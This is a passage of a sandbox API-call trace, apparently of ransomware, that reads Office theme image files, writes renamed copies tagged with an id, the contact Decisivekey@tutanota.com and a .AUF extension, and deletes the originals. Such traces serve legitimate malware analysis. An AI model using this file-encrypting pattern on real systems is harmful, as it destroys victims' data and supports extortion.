Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.591] lstrlenW (lpString=".1cd") returned 4 [0212.591] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0212.591] lstrlenW (lpString=".jpg") returned 4 [0212.591] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.591] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.591] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.591] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1453) returned 1 [0212.591] CloseHandle (hObject=0x208) returned 1 [0212.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0212.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0212.592] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.592] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0212.593] GetLastError () returned 0x0 [0212.593] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5ad, lpOverlapped=0x0) returned 1 [0212.619] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0212.620] ReadFile (in: hFile=0x208, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.620] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.620] SetEndOfFile (hFile=0x1e4) returned 1 [0212.620] CloseHandle (hObject=0x1e4) returned 1 [0212.620] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.620] SetEndOfFile (hFile=0x208) returned 1 [0212.621] CloseHandle (hObject=0x208) returned 1 [0212.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.621] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0212.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.622] lstrlenW (lpString=".doc") returned 4 [0212.622] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.622] lstrlenW (lpString=".docx") returned 5 [0212.622] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.622] lstrlenW (lpString=".pdf") returned 4 [0212.622] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.622] lstrlenW (lpString=".xls") returned 4 [0212.622] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.622] lstrlenW (lpString=".xlsx") returned 5 [0212.622] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.622] lstrlenW (lpString=".ppt") returned 4 [0212.622] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.622] lstrlenW (lpString=".zip") returned 4 [0212.622] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.622] lstrlenW (lpString=".rar") returned 4 [0212.622] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.622] lstrlenW (lpString=".bz2") returned 4 [0212.622] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.622] lstrlenW (lpString=".7z") returned 3 [0212.622] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.622] lstrlenW (lpString=".dbf") returned 4 [0212.622] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.622] lstrlenW (lpString=".1cd") returned 4 [0212.622] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.622] lstrlenW (lpString=".jpg") returned 4 [0212.622] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.622] lstrlenW (lpString=".doc") returned 4 [0212.622] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.622] lstrlenW (lpString=".docx") returned 5 [0212.622] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.622] lstrlenW (lpString=".pdf") returned 4 [0212.622] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.623] lstrlenW (lpString=".xls") returned 4 [0212.623] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.623] lstrlenW (lpString=".xlsx") returned 5 [0212.623] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.623] lstrlenW (lpString=".ppt") returned 4 [0212.623] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.623] lstrlenW (lpString=".zip") returned 4 [0212.623] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.623] lstrlenW (lpString=".rar") returned 4 [0212.623] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.623] lstrlenW (lpString=".bz2") returned 4 [0212.623] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.623] lstrlenW (lpString=".7z") returned 3 [0212.623] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.623] lstrlenW (lpString=".dbf") returned 4 [0212.623] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.623] lstrlenW (lpString=".1cd") returned 4 [0212.623] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0212.623] lstrlenW (lpString=".jpg") returned 4 [0212.623] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.623] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.623] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.660] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1347) returned 1 [0212.660] CloseHandle (hObject=0x1e0) returned 1 [0212.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0212.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.660] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.660] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.671] GetLastError () returned 0x0 [0212.671] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x543, lpOverlapped=0x0) returned 1 [0212.716] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x550, lpOverlapped=0x0) returned 1 [0212.717] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.717] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.718] SetEndOfFile (hFile=0x1f8) returned 1 [0212.718] CloseHandle (hObject=0x1f8) returned 1 [0212.718] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.718] SetEndOfFile (hFile=0x1e0) returned 1 [0212.719] CloseHandle (hObject=0x1e0) returned 1 [0212.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.719] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0212.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.719] lstrlenW (lpString=".doc") returned 4 [0212.719] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.719] lstrlenW (lpString=".docx") returned 5 [0212.719] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.719] lstrlenW (lpString=".pdf") returned 4 [0212.719] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.719] lstrlenW (lpString=".xls") returned 4 [0212.719] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.719] lstrlenW (lpString=".xlsx") returned 5 [0212.719] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.719] lstrlenW (lpString=".ppt") returned 4 [0212.719] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.719] lstrlenW (lpString=".zip") returned 4 [0212.719] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.719] lstrlenW (lpString=".rar") returned 4 [0212.719] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.720] lstrlenW (lpString=".bz2") returned 4 [0212.720] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.720] lstrlenW (lpString=".7z") returned 3 [0212.720] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.720] lstrlenW (lpString=".dbf") returned 4 [0212.720] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.720] lstrlenW (lpString=".1cd") returned 4 [0212.720] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.720] lstrlenW (lpString=".jpg") returned 4 [0212.720] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.720] lstrlenW (lpString=".doc") returned 4 [0212.720] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.720] lstrlenW (lpString=".docx") returned 5 [0212.720] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.720] lstrlenW (lpString=".pdf") returned 4 [0212.720] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.720] lstrlenW (lpString=".xls") returned 4 [0212.720] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.720] lstrlenW (lpString=".xlsx") returned 5 [0212.720] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.720] lstrlenW (lpString=".ppt") returned 4 [0212.720] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.720] lstrlenW (lpString=".zip") returned 4 [0212.720] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.720] lstrlenW (lpString=".rar") returned 4 [0212.720] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.720] lstrlenW (lpString=".bz2") returned 4 [0212.720] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.720] lstrlenW (lpString=".7z") returned 3 [0212.720] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.720] lstrlenW (lpString=".dbf") returned 4 [0212.720] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.721] lstrlenW (lpString=".1cd") returned 4 [0212.721] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0212.721] lstrlenW (lpString=".jpg") returned 4 [0212.721] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.721] lstrcmpiW (lpString1=".GIF", lpString2=".AUF") returned 1 [0212.721] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0212.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.721] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1354) returned 1 [0212.721] CloseHandle (hObject=0x1e0) returned 1 [0212.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0212.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0212.721] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.721] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.724] GetLastError () returned 0x0 [0212.724] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x54a, lpOverlapped=0x0) returned 1 [0212.750] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x550, lpOverlapped=0x0) returned 1 [0212.750] ReadFile (in: hFile=0x1e0, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.751] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.751] SetEndOfFile (hFile=0x1f8) returned 1 [0212.751] CloseHandle (hObject=0x1f8) returned 1 [0212.751] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.751] SetEndOfFile (hFile=0x1e0) returned 1 [0212.752] CloseHandle (hObject=0x1e0) returned 1 [0212.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.752] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0212.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.752] lstrlenW (lpString=".doc") returned 4 [0212.752] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.752] lstrlenW (lpString=".docx") returned 5 [0212.752] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.752] lstrlenW (lpString=".pdf") returned 4 [0212.752] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.752] lstrlenW (lpString=".xls") returned 4 [0212.752] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.752] lstrlenW (lpString=".xlsx") returned 5 [0212.752] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.752] lstrlenW (lpString=".ppt") returned 4 [0212.752] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.752] lstrlenW (lpString=".zip") returned 4 [0212.752] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.752] lstrlenW (lpString=".rar") returned 4 [0212.752] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.752] lstrlenW (lpString=".bz2") returned 4 [0212.752] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.752] lstrlenW (lpString=".7z") returned 3 [0212.752] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.753] lstrlenW (lpString=".dbf") returned 4 [0212.753] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.753] lstrlenW (lpString=".1cd") returned 4 [0212.753] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.753] lstrlenW (lpString=".jpg") returned 4 [0212.753] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.753] lstrlenW (lpString=".doc") returned 4 [0212.753] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.753] lstrlenW (lpString=".docx") returned 5 [0212.753] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.753] lstrlenW (lpString=".pdf") returned 4 [0212.753] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.753] lstrlenW (lpString=".xls") returned 4 [0212.753] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.753] lstrlenW (lpString=".xlsx") returned 5 [0212.753] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.753] lstrlenW (lpString=".ppt") returned 4 [0212.753] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0212.753] lstrlenW (lpString=".zip") returned 4 [0212.753] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.753] lstrlenW (lpString=".rar") returned 4 [0212.753] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.753] lstrlenW (lpString=".bz2") returned 4 [0212.753] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.753] lstrlenW (lpString=".7z") returned 3 [0212.753] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.753] lstrlenW (lpString="C:\\Program Files\\Common 